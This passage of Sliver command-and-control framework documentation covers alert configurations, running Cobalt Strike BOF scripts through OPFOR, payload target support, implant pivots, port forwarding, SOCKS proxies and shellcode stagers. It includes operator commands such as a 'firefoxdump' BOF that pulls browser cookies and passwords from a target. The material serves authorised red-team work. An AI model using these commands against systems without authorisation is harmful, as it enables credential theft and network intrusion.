    smtp_password: "$SMTP_PASSWORD"
    smtp_auth_host: "smtp.example.com"
    body_type: "plain"  # plain or html
    receivers:
      - "ops@example.com"
```

##### Mailgun

```yaml
services:
  mailgun:
    enabled: true
    domain: "mg.example.com"
    api_key: "$MAILGUN_API_KEY"
    sender_address: "alerts@mg.example.com"
    receivers:
      - "ops@example.com"
```

##### Matrix

```yaml
services:
  matrix:
    enabled: true
    user_id: "@bot:matrix.example"
    room_id: "!roomid:matrix.example"
    home_server: "https://matrix.example"
    access_token: "$MATRIX_ACCESS_TOKEN"
```

##### Mattermost

```yaml
services:
  mattermost:
    enabled: true
    url: "https://mattermost.example.com"
    login_id: "$MM_LOGIN_ID"
    password: "$MM_PASSWORD"
    channels:
      - "channel-id"
```

##### Microsoft Teams

Use a Teams Workflows webhook. Legacy Office 365 connector webhooks [were retired in May 2026](https://devblogs.microsoft.com/microsoft365dev/retirement-of-office-365-connectors-within-microsoft-teams/).

```yaml
services:
  msteams:
    enabled: true
    webhooks:
      - "$MSTEAMS_WEBHOOK"
    wrap_text: true
    disable_webhook_validation: false
    user_agent: "sliver-notify"
```

##### PagerDuty

```yaml
services:
  pagerduty:
    enabled: true
    token: "$PAGERDUTY_TOKEN"
    from_address: "alerts@example.com"
    receivers:
      - "P123456"
    notification_type: "incident"
    urgency: "high"
    priority_id: "PQ123456"
```

##### Plivo

```yaml
services:
  plivo:
    enabled: true
    auth_id: "$PLIVO_AUTH_ID"
    auth_token: "$PLIVO_AUTH_TOKEN"
    source: "+15551234567"
    callback_url: "https://example.com/plivo"
    callback_method: "POST"
    receivers:
      - "+15557654321"
```

##### Pushbullet

```yaml
services:
  pushbullet:
    enabled: true
    api_token: "$PUSHBULLET_TOKEN"
    device_nicknames:
      - "MyPhone"
```

##### Pushbullet SMS

```yaml
services:
  pushbullet_sms:
    enabled: true
    api_token: "$PUSHBULLET_TOKEN"
    device_nickname: "MyPhone"
    phone_numbers:
      - "+15557654321"
```

##### Pushover

```yaml
services:
  pushover:
    enabled: true
    app_token: "$PUSHOVER_APP_TOKEN"
    recipients:
      - "$PUSHOVER_USER_KEY"
```

##### Reddit

```yaml
services:
  reddit:
    enabled: true
    client_id: "$REDDIT_CLIENT_ID"
    client_secret: "$REDDIT_CLIENT_SECRET"
    username: "$REDDIT_USERNAME"
    password: "$REDDIT_PASSWORD"
    recipients:
      - "target_user"
```

##### Rocket.Chat

```yaml
services:
  rocketchat:
    enabled: true
    server_url: "chat.example.com"
    scheme: "https"
    user_id: "$ROCKETCHAT_USER_ID"
    token: "$ROCKETCHAT_TOKEN"
    channels:
      - "#ops"
```

##### SendGrid

```yaml
services:
  sendgrid:
    enabled: true
    api_key: "$SENDGRID_API_KEY"
    sender_address: "alerts@example.com"
    sender_name: "Sliver"
    receivers:
      - "ops@example.com"
```

##### Slack

```yaml
services:
  slack:
    enabled: true
    api_token: "$SLIVER_SLACK_TOKEN"
    channels:
      - "C0123456789"
```

##### Syslog

```yaml
services:
  syslog:
    enabled: true
    priority: "info"
    network: "udp"
    address: "127.0.0.1:514"
    tag: "sliver"
```

##### Telegram

```yaml
services:
  telegram:
    enabled: true
    api_token: "$SLIVER_TELEGRAM_TOKEN"
    chat_ids:
      - "123456789"
    parse_mode: "HTML"
```

##### TextMagic

```yaml
services:
  textmagic:
    enabled: true
    username: "$TEXTMAGIC_USER"
    api_key: "$TEXTMAGIC_API_KEY"
    phone_numbers:
      - "+15557654321"
```

##### Twilio

```yaml
services:
  twilio:
    enabled: true
    account_sid: "$TWILIO_ACCOUNT_SID"
    auth_token: "$TWILIO_AUTH_TOKEN"
    from_number: "+15551234567"
    phone_numbers:
      - "+15557654321"
```

##### Twitter

```yaml
services:
  twitter:
    enabled: true
    consumer_key: "$TWITTER_CONSUMER_KEY"
    consumer_secret: "$TWITTER_CONSUMER_SECRET"
    access_token: "$TWITTER_ACCESS_TOKEN"
    access_token_secret: "$TWITTER_ACCESS_TOKEN_SECRET"
    recipients:
      - "1234567890"
```

##### Viber

```yaml
services:
  viber:
    enabled: true
    app_key: "$VIBER_APP_KEY"
    sender_name: "Sliver"
    sender_avatar: "https://example.com/avatar.png"
    webhook_url: "https://example.com/viber-webhook"
    receivers:
      - "viber-user-id"
```

##### Web Push

```yaml
services:
  webpush:
    enabled: true
    vapid_public_key: "$WEBPUSH_PUBLIC_KEY"
    vapid_private_key: "$WEBPUSH_PRIVATE_KEY"
    subscriptions:
      - endpoint: "https://push.example.com/123"
        keys:
          p256dh: "$WEBPUSH_P256DH"
          auth: "$WEBPUSH_AUTH"
```

##### WeChat

```yaml
services:
  wechat:
    enabled: true
    app_id: "$WECHAT_APP_ID"
    app_secret: "$WECHAT_APP_SECRET"
    token: "$WECHAT_TOKEN"
    encoding_aes_key: "$WECHAT_AES_KEY"
    receivers:
      - "wechat-user-id"
```

##### WhatsApp

```yaml
services:
  whatsapp:
    enabled: true
    receivers:
      - "whatsapp-contact"
```

#### Custom Templates

You can render notification messages using Go templates with either `template/text` or `template/html`. Templates are loaded from:

```
<app dir>/notifications/templates/
```

By default this is `~/.sliver/notifications/templates/`. Only a filename is allowed (no path separators) and `..` is rejected to prevent path traversal.

Configure per-event templates under `notifications.templates`:

```yaml
notifications:
  enabled: true
  templates:
    session-connected:
      type: "text"        # text (default) or html
      template: "session.tmpl"
    session-disconnected:
      type: "html"
      template: "session.html"
```

Template data available:

- `.EventType`
- `.Session`
- `.Beacon`
- `.Job`
- `.Client`
- `.Error`
- `.DefaultSubject`
- `.DefaultMessage`
- `.Timestamp` (UTC)

Example `session.tmpl` (text):

```txt
{{ .DefaultSubject }}
Event: {{ .EventType }}
Host: {{ if .Session }}{{ .Session.Hostname }}{{ end }}
User: {{ if .Session }}{{ .Session.Username }}{{ end }}
```

Example `session.html` (html):

```html
<h3>{{ .DefaultSubject }}</h3>
<p>Event: {{ .EventType }}</p>
<p>Host: {{ if .Session }}{{ .Session.Hostname }}{{ end }}</p>
<p>User: {{ if .Session }}{{ .Session.Username }}{{ end }}</p>
```

#### Notes

- Environment variable expansion only applies to string fields (API keys, tokens, URLs, etc.).
- If a service configuration is incomplete, that service is skipped and the server continues without it.

---

### Sliver Docs Pages Docs Md OPFOR (`docs/sliver-docs/pages/docs/md/OPFOR.md`)

[OPFOR](https://github.com/sliverarmory/opfor) runs a BOF-focused subset of CNA/Aggressor Script directly inside `sliver-client`. It lets operators use projects that already ship a `.cna` wrapper and BOF object files without first translating the script into a Sliver extension manifest.

OPFOR is not a complete Cobalt Strike client or a complete Aggressor Script implementation. Sliver currently connects the parts needed by common BOF scripts: local script resources, Beacon alias registration and help, target metadata queries, BOF argument packing, transcript output, `beacon_inline_execute`, result callbacks, and basic terminal prompts.

For manifest-based BOF packages and Armory installation, see [BOF and COFF Support](/docs?name=BOF+and+COFF+Support).

## Requirements

- Keep the `.cna` file and its resource tree on the computer running `sliver-client`. Calls such as `script_resource()` resolve files from that local script tree.
- BOF aliases require an active session or beacon. The target must advertise Sliver's `bof_v1` capability.
- The tested BOF execution path supports Windows x64 and x86 targets. A CNA may perform its own architecture selection with functions such as `barch()`.
- Review third-party scripts before loading them. Top-level CNA code runs locally in the Sliver client process.

Loaded scripts and their registrations belong only to the current client process. They are not installed in Armory, copied to the server, or shared with other operators, and they must be loaded again after restarting the client.

## Commands

| Command | Behavior |
| --- | --- |
| `opfor check <script.cna>` | Compile the script without executing its top-level code. |
| `opfor run <script.cna> [arguments...]` | Execute top-level code once with trailing values in `@ARGV`, then discard registrations. |
| `opfor load <script.cna>` | Execute initialization and retain aliases, hooks, and callbacks. |
| `opfor <script.cna>` | Shorthand for `opfor load <script.cna>`. |
| `opfor list` | List scripts retained by this client process. |
| `opfor help <alias>` | Display the description and detail supplied by `beacon_command_register()`. |
| `opfor <alias> [arguments...]` | Invoke a loaded Beacon alias against the active target. |
| `opfor unload <script.cna>` | Retire a loaded script and its registrations. |

`opfor run` does not invoke aliases declared by the script. Most BOF CNAs define an `alias` at top level, so running one only creates that alias in a temporary runtime and then retires it. Use `opfor load`, select a target, and invoke the registered alias instead.

The default operation timeout is 600 seconds. Put a timeout override before the alias name so Sliver consumes it instead of passing it to the CNA command:

```
opfor --timeout 900 firefoxdump /all
```

Arguments after the alias name are passed to the CNA as written, including flag-like values. If the CNA itself needs a leading `--timeout` or `-t` argument, place `--` before it so the OPFOR host stops parsing timeout overrides:

```
opfor example -- --timeout
```

## Loading and running FirefoxDump

Keep the script beside the object files expected by its `script_resource()` calls. For example:

```
firefoxdump/
├── firefoxdump.cna
└── bin/
    ├── firefoxdump.x64.o
    └── firefoxdump.x86.o
```

Check the script before executing its initialization code:

```
sliver > opfor check ./firefoxdump/firefoxdump.cna
./firefoxdump/firefoxdump.cna: ok
```

Load it persistently:

```
sliver > opfor load ./firefoxdump/firefoxdump.cna

[*] Loaded CNA script /absolute/path/firefoxdump/firefoxdump.cna
[*] Registered CNA aliases:
  opfor firefoxdump
[*] View CNA alias help:
  opfor help firefoxdump
```

Inspect the command metadata without running the BOF:

```
sliver > opfor help firefoxdump

Command: opfor firefoxdump [arguments...]

Extract Firefox secrets (cookies, passwords) from Firefox profile.
```

Select a compatible target and invoke the alias:

```
sliver > use <session-or-beacon>
sliver (TARGET) > opfor firefoxdump /all
```

OPFOR sends the selected object file and packed arguments through Sliver's native BOF execution path. Session results are rendered immediately; beacon tasks are correlated and polled until the result or command deadline arrives. Typed BOF output channels and CNA callbacks are preserved when the script uses them.

Unload the script when it is no longer needed:

```
sliver > opfor unload ./firefoxdump/firefoxdump.cna
```

## Compatibility and troubleshooting

- If an alias is missing after `opfor run`, load the script instead. One-shot registrations are intentionally discarded.
- If Sliver reports that no target is active, run `use <session-or-beacon>` before invoking the alias.
- If the target does not advertise `bof_v1`, update the server, client, and implant to compatible builds and establish a new session or beacon.
- If `script_resource()` cannot find an object file, preserve the upstream directory layout relative to the `.cna` file.
- If a script calls an unsupported Aggressor function or prompt type, OPFOR returns an explicit error. The current integration prioritizes BOF execution rather than every Aggressor callback or client feature.
- CNA aliases are namespaced beneath `opfor`, so they do not replace built-in Sliver commands. The management names `check`, `help`, `list`, `load`, `run`, and `unload` remain reserved.

---

### Sliver Docs Pages Docs Md Payload Compatibility (`docs/sliver-docs/pages/docs/md/Payload Compatibility.md`)

This page summarizes implant payload format compatibility by target OS/architecture (`GOOS/GOARCH`).

## Common Platforms

| Target OS/Arch  | Executable | Shared Library | Shellcode | Service |
| --------------- | ---------- | -------------- | --------- | ------- |
| `windows/386`   | ✅         | ✅             | ✅        | ✅      |
| `windows/amd64` | ✅         | ✅             | ✅        | ✅      |
| `windows/arm64` | ⚠️         | ⚠️             | ❌        | ⚠️      |
| `linux/386`     | ✅         | ✅             | ❌        | N/A     |
| `linux/amd64`   | ✅         | ✅             | ✅        | N/A     |
| `linux/arm64`   | ✅         | ✅             | ✅        | N/A     |
| `darwin/amd64`  | ✅         | ✅             | ❌        | N/A     |
| `darwin/arm64`  | ✅         | ✅             | ✅        | N/A     |

### Important Notes

- `✅` = first-class support in Sliver's built-in target matrix.
- `⚠️` = generic/experimental target (not first-class; may fail depending on toolchain/target).
- `❌` = not currently supported for that payload format.
- `Service` is a Windows-only format.
- `Shellcode` is currently supported for `windows/{386,amd64}`, `linux/{amd64,arm64}`, and `darwin/arm64`.
- `Shellcode` and `Shared Library` for MacOS may require a [cross-compiler](/docs?name=Cross-compiling+Implants) or an [external builder](/docs?name=External+Builders) depending on your platform.
- On macOS hosts, targeting `linux/386` for shared library/shellcode builds is currently not reliable.

Use `generate info` in the Sliver console to see what your current server can build with its configured toolchains.

## All GOOS/GOARCH Targets

The table below covers all `GOOS/GOARCH` entries from `go tool dist list` (Go 1.24+), including common platforms:

| Target GOOS/GOARCH | Common Platform | Executable | Shared Library | Shellcode | Service |
| ------------------ | --------------- | ---------- | -------------- | --------- | ------- |
| `aix/ppc64` | No | ⚠️ | ❌ | ❌ | N/A |
| `android/386` | No | ⚠️ | ❌ | ❌ | N/A |
| `android/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `android/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `android/arm64` | No | ⚠️ | ❌ | ❌ | N/A |
| `darwin/amd64` | Yes | ✅ | ✅ | ❌ | N/A |
| `darwin/arm64` | Yes | ✅ | ✅ | ✅ | N/A |
| `dragonfly/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `freebsd/386` | No | ⚠️ | ❌ | ❌ | N/A |
| `freebsd/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `freebsd/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `freebsd/arm64` | No | ⚠️ | ❌ | ❌ | N/A |
| `freebsd/riscv64` | No | ⚠️ | ❌ | ❌ | N/A |
| `illumos/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `ios/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `ios/arm64` | No | ⚠️ | ❌ | ❌ | N/A |
| `js/wasm` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/386` | Yes | ✅ | ✅ | ❌ | N/A |
| `linux/amd64` | Yes | ✅ | ✅ | ✅ | N/A |
| `linux/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/arm64` | Yes | ✅ | ✅ | ✅ | N/A |
| `linux/loong64` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/mips` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/mips64` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/mips64le` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/mipsle` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/ppc64` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/ppc64le` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/riscv64` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/s390x` | No | ⚠️ | ❌ | ❌ | N/A |
| `netbsd/386` | No | ⚠️ | ❌ | ❌ | N/A |
| `netbsd/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `netbsd/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `netbsd/arm64` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/386` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/arm64` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/ppc64` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/riscv64` | No | ⚠️ | ❌ | ❌ | N/A |
| `plan9/386` | No | ⚠️ | ❌ | ❌ | N/A |
| `plan9/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `plan9/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `solaris/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `wasip1/wasm` | No | ⚠️ | ❌ | ❌ | N/A |
| `windows/386` | Yes | ✅ | ✅ | ✅ | ✅ |
| `windows/amd64` | Yes | ✅ | ✅ | ✅ | ✅ |
| `windows/arm64` | Yes | ⚠️ | ⚠️ | ❌ | ⚠️ |

---

### Sliver Docs Pages Docs Md Pivots (`docs/sliver-docs/pages/docs/md/Pivots.md`)

⚠️ **IMPORTANT:** Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding `portfwd`, which is used for tunneling generic TCP connections into a target environment.

⚠️ **IMPORTANT:** Pivots can only be used in "session mode" (we may add beacon support later)

Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Pivots can be arbitrarily nested, for example a pivot A can connect through pivot B to a third egress implant.

In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints.

Pivots perform an [authenticated peer-to-peer cryptographic key exchange](/docs?name=Transport+Encryption) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled.

## TCP Pivots

TCP pivots are implemented in pure Go and are supported on all platforms.

```
[server] sliver (PRIOR_MANTEL) > pivots tcp

[*] Started tcp pivot listener :9898 with id 1

[server] sliver (PRIOR_MANTEL) > pivots

 ID   Protocol   Bind Address   Number Of Pivots
==== ========== ============== ==================
  1   TCP        :9898                         0
```

We can now use `generate --tcp-pivot 192.168.1.1:9898` to generate an implant that will connect to the pivot listener, where `192.168.1.1` is the local IP of the server on which we started the listener.

## Named Pipe Pivots (SMB)

Named pipe pivots are only supported on Windows. Select a session to start a named pipe listener, and then use the `--bind` flag to specify a pipe name. Pipes are automatically started on the local machine so you only need to specify a name, remote clients are always allowed to connect to the pipe, but the default ACL will only allow the current user/group. You can allow all user/groups by using the `--allow-all` flag:

```
[*] Session a2615359 WARM_DRIVEWAY - 192.168.1.178:59290 (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:09:20 CST

[server] sliver > use a2615359-b0a4-4463-820b-f4dbe6fb2c30

[*] Active session WARM_DRIVEWAY (a2615359-b0a4-4463-820b-f4dbe6fb2c30)

[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar

[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
```

Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/pipe/foobar`. Note that we may need to specify the IP address of the listener: `192.168.1.1`. The syntax is `<host>/pipe/<pipe name>`, note that `.` is equivalent to `127.0.0.1`. This is just the standard syntax for Windows named pipes.

```
[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290->WARM_DRIVEWAY-> (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST

[server] sliver (WARM_DRIVEWAY) > sessions

 ID         Name            Transport   Remote Address                         Hostname          Username                        Operating System   Last Check-In                   Health
========== =============== =========== ====================================== ================= =============================== ================== =============================== =========
 13f9ee6b   ROUND_ATELIER   pivot       192.168.1.178:59290->WARM_DRIVEWAY->   WIN-1TT1Q345B37   WIN-1TT1Q345B37\Administrator   windows/amd64      Mon, 07 Feb 2022 10:15:11 CST   [ALIVE]
 a2615359   WARM_DRIVEWAY   mtls        192.168.1.178:59290                    WIN-1TT1Q345B37   WIN-1TT1Q345B37\Administrator   windows/amd64      Mon, 07 Feb 2022 10:15:11 CST   [ALIVE]
```

⚠️ **IMPORTANT:** In some environments you may need to use the `--allow-all` flag when starting the pivot listener to allow all users/groups.

---

### Sliver Docs Pages Docs Md Port Forwarding (`docs/sliver-docs/pages/docs/md/Port Forwarding.md`)

Sliver provides two mechanisms for port forwarding to tunnel additional connections / tools into the target environment via an implant:

- `portfwd` - This command (available on all C2s) uses Sliver's in-band tunnels to transfer data between your local machine and the implant network (i.e., if you're using HTTP C2 all port forwarded traffic is tunneled over HTTP, same for mTLS/DNS/etc.)
- `wg-portfwd` - This command uses WireGuard port forwarding, and is only available when using WireGuard C2.

**NOTE:** Generally speaking `wg-portfwd` is faster and more reliable, we recommend using it whenever possible. Some protocols may be unstable, or may not work when tunneled via `portfwd`. However, `wg-portfwd` does require a little extra setup (see below).

## In-Band Tunneled Port Forwarding

Tunneled port forwarding can be done over any C2 transport, and should work out of the box. Interact with the session you'd like to port forward through and use the `portfwd add` command:

```
sliver (STUCK_ARTICLE) > portfwd add --remote 10.10.10.10:22

[*] Port forwarding 127.0.0.1:8080 -> 10.10.10.10:22
```

By default all port forwards will be bound to the `127.0.0.1` interface, but you can override this using the `--bind` flag. Port forwarding also works in `multiplayer` mode and will forward ports to your local system.

#### Reverse Port Forwarding

Sliver also supports reverse port forwarding via the `rportfwd` command.

## WireGuard Port Forwarding

In order to use `wg-portfwd` you'll need a WireGuard client, any client should work. However, we recommend using `wg-quick`, which is included in the `wireguard-tools` package available on most platforms (see [WireGuard](https://www.wireguard.com/install/) for more platforms):

- MacOS `brew install wireguard-tools`
- Ubuntu/Kali `sudo apt install wireguard-tools`

First generate a WireGuard C2 implant (using `generate --wg`), and then start a WireGuard listener:

```
sliver > wg

[*] Starting Wireguard listener ...
[*] Successfully started job #1

sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   wg    udp       53
```

Next, using Sliver you can create a WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file):

```
sliver > wg-config

[*] New client config:
[Interface]
Address = 100.64.0.16/16
ListenPort = 51902
PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
MTU = 1420

[Peer]
PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>
```

The only thing in the configuration file you'll need to change is the `Endpoint` setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as `--lhost` when generating the binary.

Make sure your WireGuard listener is running and connect using the client configuration:

```
$ wg-quick up wireguard.conf
```

Now that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect:

```
sliver > sessions

ID  Name           Transport  Remote Address     Hostname     Username  Operating System  Last Check-in                  Health
==  ====           =========  ==============     ========     ========  ================  =============                  ======
1   STUCK_ARTICLE  wg         100.64.0.17:53565  MacBook-Pro  jdoe      darwin/amd64      Wed, 12 Apr 2021 19:21:00 CDT  [ALIVE]
```

Interact with the session, and use `wg-portfwd add` to create port forwards:

```
sliver (STUCK_ARTICLE) > wg-portfwd add --remote 10.10.10.10:3389

[*] Port forwarding 100.64.0.17:1080 -> 10.10.10.10:3389
```

You can now connect to `100.64.0.17:1080` via your WireGuard interface and the connection will come out at `10.10.10.10:3389`!

---

### Sliver Docs Pages Docs Md Private Armories (`docs/sliver-docs/pages/docs/md/Private Armories.md`)

[Private Armory](https://github.com/sliverarmory/private-armory) is a standalone service for hosting your own Sliver aliases, extensions, and bundles. Each Sliver client connects to it independently; installed packages are still local to that client, as described in [Armory](/docs?name=Armory).

The upstream wiki sometimes calls the project `external-armory`. The current repository is `private-armory`, and its executable is `armory-server`.

## Hosting

The service can run as a standalone executable or in a container. Follow the upstream [Setup](https://github.com/sliverarmory/private-armory/wiki/Setup) or [Docker](https://github.com/sliverarmory/private-armory/wiki/Docker) guide for deployment details.

- Configuration is stored in `<armory-root>/config.json`; restart the service after editing it.
- The supplied Compose configuration publishes port `8888` and persists `./armory-data` at `/data/armory-data`.
- Review TLS and authentication settings before deployment. The supplied `armory.env` disables TLS; HTTPS requires a certificate and private key. Verify the effective authentication settings for the version you deploy rather than assuming the example enables access control.
- Initial setup displays client connection information and a separate administration token. Give clients the client token, never the administration token or a signing private key.

See [Environment Variables](https://github.com/sliverarmory/private-armory/wiki/Environment-Variables) for configuration options. Older wiki JSON examples may differ from the current service configuration.

## Storage and Signing

The [storage providers](https://github.com/sliverarmory/private-armory/wiki/Storage-Providers) support a writable local filesystem or an S3 general-purpose bucket. Preserve the configured storage across restarts and container replacements.

Package and index signatures use Minisign. The [signing key providers](https://github.com/sliverarmory/private-armory/wiki/Package-Signing-Key-Providers) are:

| Provider | Key location |
| --- | --- |
| `local` | A private key file in the armory root. |
| `aws` | AWS Secrets Manager. |
| `vault` | HashiCorp Vault. |
| `external` | A separate signing process; the serving application holds the public key. |

With `external`, signing happens outside the service and package administration through its API is disabled. See [Standalone Signing](https://github.com/sliverarmory/private-armory/wiki/Standalone-Signing) and [Package Administration](https://github.com/sliverarmory/private-armory/wiki/Package-Administration) for the respective workflows.

Obtain the Minisign public key through a trusted channel. It establishes trust in the index and package signing metadata; it is separate from the TLS certificate. A valid signature does not establish that a package is safe to use.

## Client Configuration

Obtain the index URL, Minisign public key, and client authorization token from your armory administrator. The service's index URL ends in `/armory/index`; use the configured hostname, port, and HTTPS endpoint.

```text
sliver > armory add private --url https://armory.example.com:8888/armory/index --pubkey <MINISIGN_PUBLIC_KEY> --auth <CLIENT_TOKEN>
sliver > armory info
```

Replace the placeholders with your armory's values. `--auth` supplies the complete `Authorization` header value; Sliver does not add a `Bearer` prefix. Adding a source validates its index before saving it.

Configuration is saved to `~/.sliver-client/armories.json` by default, or under `SLIVER_CLIENT_ROOT_DIR` when set. Authorization values are stored in plaintext, and detailed `armory info <name>` output can display them; protect the file and redact credentials before sharing output.

## Managing Sources

| Command | Effect |
| --- | --- |
| `armory info` | List configured sources. |
| `armory refresh` | Reload saved source configuration and refresh cached metadata. |
| `armory disable private` / `armory enable private` | Disable or enable the private source. |
| `armory rm private` | Remove its source registration. |
| `armory save` | Save the current source configuration. |

Add and modify operations save by default. Changes made with `--no-save` are temporary and are lost on refresh or restart unless saved first. Disabling or removing a source does not uninstall packages already installed from it.

---

### Sliver Docs Pages Docs Md Reverse SOCKS (`docs/sliver-docs/pages/docs/md/Reverse SOCKS.md`)

Sliver supports two types of SOCKS5 proxies, an "in-band" proxy that tunnels through any C2 protocol, and a WireGuard SOCKS proxy (only available when using WireGuard C2).

## In-band SOCKS5

An in-band reverse SOCKS5 proxy can only be used on sessions (i.e., interactive sessions) and not beacons.

```
sliver (UGLY_SCARIFICATION) > socks5 add

[*] Started SOCKS5 127.0.0.1 1081
⚠️  In-band SOCKS proxies can be a little unstable depending on protocol
```

Simply upstream to `127.0.0.1:1081` from here, see `socks5 add --help` for more options.

## WireGuard SOCKS5

In order to use `wg-socks` you'll need a WireGuard client, any client should work. However, we recommend using `wg-quick`, which is included in the `wireguard-tools` package available on most platforms (see [WireGuard](https://www.wireguard.com/install/) for more platforms):

- MacOS `brew install wireguard-tools`
- Ubuntu/Kali `sudo apt install wireguard-tools`

First generate a WireGuard C2 implant (using `generate --wg`), and then start a WireGuard listener:

```
sliver > wg

[*] Starting Wireguard listener ...
[*] Successfully started job #1

sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   wg    udp       53
```

Next, using Sliver you can create WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file):

```
sliver > wg-config

[*] New client config:
[Interface]
Address = 100.64.0.16/16
ListenPort = 51902
PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
MTU = 1420

[Peer]
PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>
```

The only thing in the configuration file you'll need to change is the `Endpoint` setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as `--lhost` when generating the binary.

Make sure your WireGuard listener is running and connect using the client configuration:

```
$ wg-quick up wireguard.conf
```

Now that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect:

```
sliver > sessions

ID  Name           Transport  Remote Address     Hostname     Username  Operating System  Last Check-in                  Health
==  ====           =========  ==============     ========     ========  ================  =============                  ======
1   STUCK_ARTICLE  wg         100.64.0.17:53565  MacBook-Pro  jdoe      darwin/amd64      Wed, 12 Apr 2021 19:21:00 CDT  [ALIVE]
```

Interact with the session, and use `wg-socks` to create a SOCKS proxy!

---

### Sliver Docs Pages Docs Md Stagers (`docs/sliver-docs/pages/docs/md/Stagers.md`)

**⚠️ Important:** Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross.

## Overview

As payloads can be pretty big (around 10MB), you may sometime require the use of stagers to execute your implant on a target system.

Sliver supports the `meterpreter` staging protocol over TCP and HTTP(S). This protocol is pretty straight forward:

- read the size of the stage 2 payload on the wire (the first 4 bytes for the TCP stager)
- download the stage 2
- allocate the size read in the first step, and write the stage in memory

For this to work, we need the following pieces:

- a staging server (the Sliver server)
- a stage 2 payload (usually a Sliver shellcode, but can be in other formats)
- stagers (generated by `msfvenom` or built by hand, see [Custom Stagers](#custom-stagers) below)

## Example

Sliver implements staging by reusing the profiles feature. Profiles are sorts of implant blueprints that define a configuration to be reused by the `profiles new` command.
The following command creates a new profile that we will use for our staging listener:

```
sliver > profiles new --mtls 192.168.122.1 --format shellcode win-shellcode

[*] Saved new profile win-shellcode

sliver > profiles

Name           Platform       Command & Control              Debug  Format      Obfuscation   Limitations
====           ========       =================              =====  ======      ===========   ===========
win-shellcode  windows/amd64  [1] mtls://192.168.122.1:8888  false  SHELLCODE   enabled
```

Shellcode generation varies by platform:

- Windows shellcode uses Donut and supports all shellcode tuning flags below.
- macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support `--shellcode-compress`; other `--shellcode-*` options are Windows-only.

Shellcode options:

- `--shellcode-encoder`: apply an optional shellcode encoder (see: `shellcode-encoders`)
- `--shellcode-compress`: enable/disable aPLib compression (boolean) (Windows, macOS, Linux)
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt (Windows only)
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block (Windows only)
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue (Windows only)
- `--shellcode-headers`: 1=overwrite, 2=keep (Windows only)
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only)
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only)
- `--shellcode-oep`: override original entry point (uint32, 0=default) (Windows only)

Example:

```
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
```

Linux example (compression only):

```
sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode
```

We can now create a staging listener and link it to the profile:

```
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode

[*] No builds found for profile win-shellcode, generating a new one
[*] Job 1 (tcp) started
